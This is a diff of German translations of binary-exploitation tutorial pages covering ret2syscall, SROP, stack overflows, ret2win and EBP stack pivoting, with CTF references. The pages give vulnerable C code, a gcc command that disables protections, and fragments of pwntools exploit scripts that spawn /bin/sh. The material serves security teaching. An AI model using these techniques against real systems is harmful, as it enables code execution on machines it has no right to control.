-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Diese können es erschweren, eine Anweisung zu finden, zu der man zu esp oder einem anderen Register springen kann.
+- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Diese können es erschweren, eine Anweisung zu finden, zu der man zu esp oder einem anderen Register springen kann.
 
 ## Referenzen
 

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -16,7 +16,7 @@ Um den Aufruf für den **syscall** vorzubereiten, ist die folgende Konfiguration
 Im Grunde genommen muss die Zeichenkette `/bin/sh` irgendwo geschrieben werden, und dann muss der `syscall` ausgeführt werden (unter Berücksichtigung des benötigten Paddings zur Kontrolle des Stacks). Dafür benötigen wir ein Gadget, um `/bin/sh` in einem bekannten Bereich zu schreiben.
 
 > [!TIP]
-> Ein weiterer interessanter syscall, den man aufrufen kann, ist **`mprotect`**, der es einem Angreifer ermöglichen würde, **die Berechtigungen einer Seite im Speicher zu ändern**. Dies kann mit [**ret2shellcode**](../../stack-overflow/stack-shellcode/) kombiniert werden.
+> Ein weiterer interessanter syscall, den man aufrufen kann, ist **`mprotect`**, der es einem Angreifer ermöglichen würde, **die Berechtigungen einer Seite im Speicher zu ändern**. Dies kann mit [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html) kombiniert werden.
 
 ## Register-Gadgets
 
@@ -174,7 +174,7 @@ target.interactive()
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
 - 64 Bit, kein PIE, nx, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen.
 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
-- 64 Bit, nx, kein PIE, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen. Um in den Stack zu schreiben, wird eine Funktion, die mathematische Operationen durchführt, missbraucht.
+- 64 Bit, nx, kein PIE, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen. Um auf den Stack zu schreiben, wird eine Funktion, die mathematische Operationen durchführt, missbraucht.
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
 - 64 Bit, kein PIE, nx, BF Canary, schreibe in einen Speicher einen ROP, um `execve` aufzurufen und dorthin zu springen.
 

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -6,20 +6,20 @@
 
 **`Sigreturn`** ist ein spezieller **syscall**, der hauptsächlich verwendet wird, um nach der Ausführung eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal erhält, pausiert es vorübergehend seine aktuelle Arbeit, um das Signal mit einem **Signalhandler** zu behandeln, einer speziellen Funktion, die dafür ausgelegt ist, mit Signalen umzugehen.
 
-Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es das Stack-Frame (den Speicherbereich, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, das vom Signalhandler verwendet wurde.
+Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es den Stackrahmen (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, der vom Signalhandler verwendet wurde.
 
-Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stack-Zeiger-Register (RSP), das auf die aktuelle Spitze des Stacks zeigt.
+Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stackzeigerregister (RSP), das auf die aktuelle Spitze des Stacks zeigt.
 
 > [!CAUTION]
 > Das Aufrufen des syscalls **`sigreturn`** aus einer ROP-Kette und **das Hinzufügen der Registerwerte**, die wir im **Stack** laden möchten, ermöglicht es, **alle Registerwerte zu steuern** und daher beispielsweise den syscall `execve` mit `/bin/sh` aufzurufen.
 
-Beachten Sie, dass dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
+Beachten Sie, wie dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
 
 {{#ref}}
 ../rop-syscall-execv/
 {{#endref}}
 
-Wenn Sie neugierig sind, dies ist die **sigcontext-Struktur**, die im Stack gespeichert wird, um später die Werte wiederherzustellen (Diagramm von [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
+Wenn Sie neugierig sind, hier ist die **sigcontext-Struktur**, die im Stack gespeichert wird, um später die Werte wiederherzustellen (Diagramm von [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
 ```
 +--------------------+--------------------+
 | rt_sigeturn()      | uc_flags           |
@@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
 
 ## Beispiel
 
-Du kannst [**ein Beispiel hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (indem der Wert `0xf` in rxa gesetzt wird), obwohl dies der endgültige Exploit von dort ist:
+Du kannst [**ein Beispiel hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (indem der Wert `0xf` in rxa eingegeben wird), obwohl dies der endgültige Exploit von dort ist:
 ```python
 from pwn import *
 
@@ -128,13 +128,13 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn** Struktur auf den Stack zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
+- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, auf den Stack einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn** Struktur zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
+- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, auf den Stack einen [**ret2syscall**](../rop-syscall-execv/index.html) über eine **sigreturn** Struktur zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 Bit, kein relro, kein canary, nx, kein pie. Einfacher Buffer Overflow, der die `gets` Funktion ausnutzt, mit einem Mangel an Gadgets, die einen [**ret2syscall**](../rop-syscall-execv/) ausführen. Die ROP-Kette schreibt `/bin/sh` in die `.bss`, indem sie `gets` erneut aufruft, sie missbraucht die **`alarm`** Funktion, um eax auf `0xf` zu setzen, um ein **SROP** aufzurufen und eine Shell auszuführen.
+- 64 Bit, kein relro, keine Canary, nx, kein pie. Einfacher Buffer Overflow, der die `gets` Funktion ausnutzt, mit einem Mangel an Gadgets, die einen [**ret2syscall**](../rop-syscall-execv/index.html) ausführen. Die ROP-Kette schreibt `/bin/sh` in die `.bss`, indem sie `gets` erneut aufruft, sie missbraucht die **`alarm`** Funktion, um eax auf `0xf` zu setzen, um ein **SROP** aufzurufen und eine Shell auszuführen.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- 64-Bit-Assembly-Programm, kein relro, kein canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird `exit` aufgerufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm `read` erneut in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
+- 64-Bit-Assembly-Programm, kein relro, keine Canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird `exit` aufgerufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm erneut `read` in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 - SROP wird verwendet, um Ausführungsprivilegien (memprotect) an den Ort zu geben, an dem ein Shellcode platziert wurde.
 

src/binary-exploitation/stack-overflow/README.md

@@ -4,11 +4,11 @@
 
 ## Was ist ein Stack Overflow
 
-Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrolle für Eingaben durchführen.
+Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzüberprüfung der Eingaben durchführen.
 
-Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**.
+Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu kontrollieren**.
 
-Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als ihr zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
+Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
 
 Einige gängige Funktionen, die anfällig dafür sind, sind: **`strcpy`, `strcat`, `sprintf`, `gets`**... Auch Funktionen wie **`fgets`**, **`read` & `memcpy`**, die ein **Längenargument** annehmen, könnten auf eine anfällige Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
 
@@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Finden von Stack Overflow-Offsets
+### Finden von Stack Overflow Offsets
 
-Die gängigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und einen `Segmentation Fault` zu erwarten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
+Die gängigste Methode, um Stack Overflows zu finden, besteht darin, eine sehr große Eingabe von `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und auf einen `Segmentation Fault` zu warten, der anzeigt, dass die **Adresse `0x41414141` versucht wurde zuzugreifen**.
 
-Sobald Sie festgestellt haben, dass es eine Stack Overflow-Sicherheitsanfälligkeit gibt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge \_n**\_\*\* genau einmal\*\* als zusammenhängende Teilsequenz erscheint.
+Darüber hinaus, sobald Sie festgestellt haben, dass eine Stack Overflow-Sicherheitsanfälligkeit vorliegt, müssen Sie den Offset finden, bis es möglich ist, die **Rücksprungadresse zu überschreiben**. Dazu wird normalerweise eine **De Bruijn-Sequenz** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n**\_\*\* genau einmal\*\* als zusammenhängende Teilsequenz erscheint.
 
-Auf diese Weise ist es möglich, anstelle von Hand herauszufinden, welcher Offset benötigt wird, um das EIP zu kontrollieren, eine dieser Sequenzen als Padding zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben.
+Auf diese Weise ist es anstelle von Hand erforderlich, herauszufinden, welcher Offset benötigt wird, um das EIP zu steuern, möglich, als Padding eine dieser Sequenzen zu verwenden und dann den Offset der Bytes zu finden, die es überschrieben haben.
 
 Es ist möglich, **pwntools** dafür zu verwenden:
 ```python
@@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
 ## Ausnutzen von Stack-Überläufen
 
 Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) wirst du in der Lage sein, **Werte von lokalen Variablen im Stack zu überschreiben**, bis du das gespeicherte **EBP/RBP und EIP/RIP (oder sogar mehr)** erreichst.\
-Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu ändern**, sodass, wenn die Funktion endet, der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
+Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass beim Ende der Funktion der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
 
 In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
 
 ### Ret2win
 
-In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **du aufrufen musst, um zu gewinnen**. Für diese Herausforderungen musst du nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
+In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **du aufrufen musst, um zu gewinnen**. Für diese Herausforderungen musst du nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
 
 {{#ref}}
 ret2win/
@@ -65,7 +65,7 @@ ret2win/
 
 ### Stack Shellcode
 
-In diesem Szenario könnte der Angreifer einen Shellcode im Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
+In diesem Szenario könnte der Angreifer einen Shellcode im Stack platzieren und die kontrollierte EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:
 
 {{#ref}}
 stack-shellcode/

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
+**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binary exploitation** beinhalten. Das Ziel ist es, eine Schwachstelle in einem gegebenen Binary auszunutzen, um eine spezifische, nicht aufgerufene Funktion innerhalb des Binaries auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt, wenn sie ausgeführt wird, normalerweise ein Flag oder eine Erfolgsmeldung aus. Die Herausforderung besteht typischerweise darin, die **Rücksprungadresse** auf dem Stack zu überschreiben, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:
 
 ### C-Beispiel
 
@@ -27,7 +27,7 @@ vulnerable_function();
 return 0;
 }
 ```
-Um dieses Programm ohne Stack-Schutz und mit deaktiviertem **ASLR** zu kompilieren, können Sie den folgenden Befehl verwenden:
+Um dieses Programm ohne Stack-Schutz und mit **ASLR** deaktiviert zu kompilieren, können Sie den folgenden Befehl verwenden:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
@@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 
 ### Python Exploit mit Pwntools
 
-Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript wird eine Payload erstellen, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
+Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript erstellt eine Payload, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
 ```python
 from pwn import *
 
@@ -69,14 +69,14 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
 
 ## Schutzmaßnahmen
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein, und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein, und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, oder die kompromittierte EIP-Rücksprungadresse wird niemals befolgt.
 
 ## Weitere Beispiele & Referenzen
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
 - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
-- 32 Bit, kein ASLR
+- 32bit, kein ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
 - 64 Bit mit ASLR, mit einem Leak der Bin-Adresse
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
@@ -94,7 +94,7 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 - 64 Bit, relro, kein Canary, nx, pie. Partielle Überschreibung, um die win-Funktion (ret2win) aufzurufen
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, es gibt einen PIE-Leak, die win-Funktion ist tatsächlich 2 Funktionen, also ROP-Gadget, das 2 Funktionen aufruft
+- arm64, PIE, es gibt einen PIE-Leak, die win-Funktion sind tatsächlich 2 Funktionen, also ROP-Gadget, das 2 Funktionen aufruft
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 - ARM64, off-by-one, um eine win-Funktion aufzurufen
 

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -16,23 +16,23 @@ Und da sich das **EBP im Stack** vor dem EIP befindet, ist es möglich, es zu ko
 
 ### EBP2Ret
 
-Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keine direkte Möglichkeit haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.
+Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden.
 
-Wenn Sie während der Ausführung von `fvuln` ein **falsches EBP** in den Stack injizieren, das auf einen Bereich im Speicher zeigt, in dem sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende `pop`-Operation verringert ESP um 4, **was effektiv bedeutet, dass es auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde.**\
-Beachten Sie, dass Sie **2 Adressen kennen müssen**: Die, zu der ESP gehen wird, und die, zu der Sie die Adresse schreiben müssen, auf die ESP zeigt.
+Wenn Sie während der Ausführung von `fvuln` ein **falsches EBP** in den Stack injizieren, das auf einen Bereich im Speicher zeigt, in dem sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **was effektiv bedeutet, dass er auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde.**\
+Beachten Sie, dass Sie **2 Adressen kennen müssen**: Die, zu der der ESP gehen wird, und die, zu der Sie die Adresse schreiben müssen, auf die der ESP zeigt.
 
 #### Exploit-Konstruktion
 
-Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten / Adressen schreiben können**. Der ESP wird hierhin zeigen und **die erste `ret` ausführen**.
+Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten / Adressen schreiben können**. Der ESP wird hierhin zeigen und **die erste `ret`** ausführen.
 
 Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden:
 
 - Eine gültige [**ONE_GADGET**](https://github.com/david942j/one_gadget) Adresse.
 - Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits).
-- Die Adresse eines **`jump esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gefolgt von dem **Shellcode**, der ausgeführt werden soll.
-- Eine [**ROP**](../rop-return-oriented-programing/) Kette
+- Die Adresse eines **`jump esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gefolgt vom **Shellcode**, der ausgeführt werden soll.
+- Eine [**ROP**](../rop-return-oriented-programing/index.html) Kette
 
-Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, aufgrund des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren.
+Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, wegen des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B auszunutzen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren.
 
 #### Off-By-One Exploit
 
@@ -43,20 +43,20 @@ Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kett
 
 ### **EBP Chaining**
 
-Daher ist es möglich, eine kontrollierte Adresse im `EBP`-Eintrag des Stacks und eine Adresse für `leave; ret` im `EIP` zu setzen, um **den `ESP` zur kontrollierten `EBP`-Adresse im Stack zu bewegen**.
+Daher ist es möglich, eine kontrollierte Adresse in den `EBP`-Eintrag des Stacks zu setzen und eine Adresse zu `leave; ret` in `EIP`, um **den `ESP` zur kontrollierten `EBP`-Adresse aus dem Stack zu bewegen**.
 
 Jetzt wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, ist es möglich, an der kontrollierten ESP-Stelle Folgendes zu platzieren:
 
-- **`&(nächstes falsches EBP)`** -> Lädt das neue EBP aufgrund von `pop ebp` aus der `leave`-Anweisung
+- **`&(nächstes falsches EBP)`** -> Lädt das neue EBP wegen `pop ebp` aus der `leave`-Anweisung
 - **`system()`** -> Aufgerufen von `ret`
-- **`&(leave;ret)`** -> Aufgerufen, nachdem system endet, wird es ESP zum falschen EBP bewegen und erneut starten
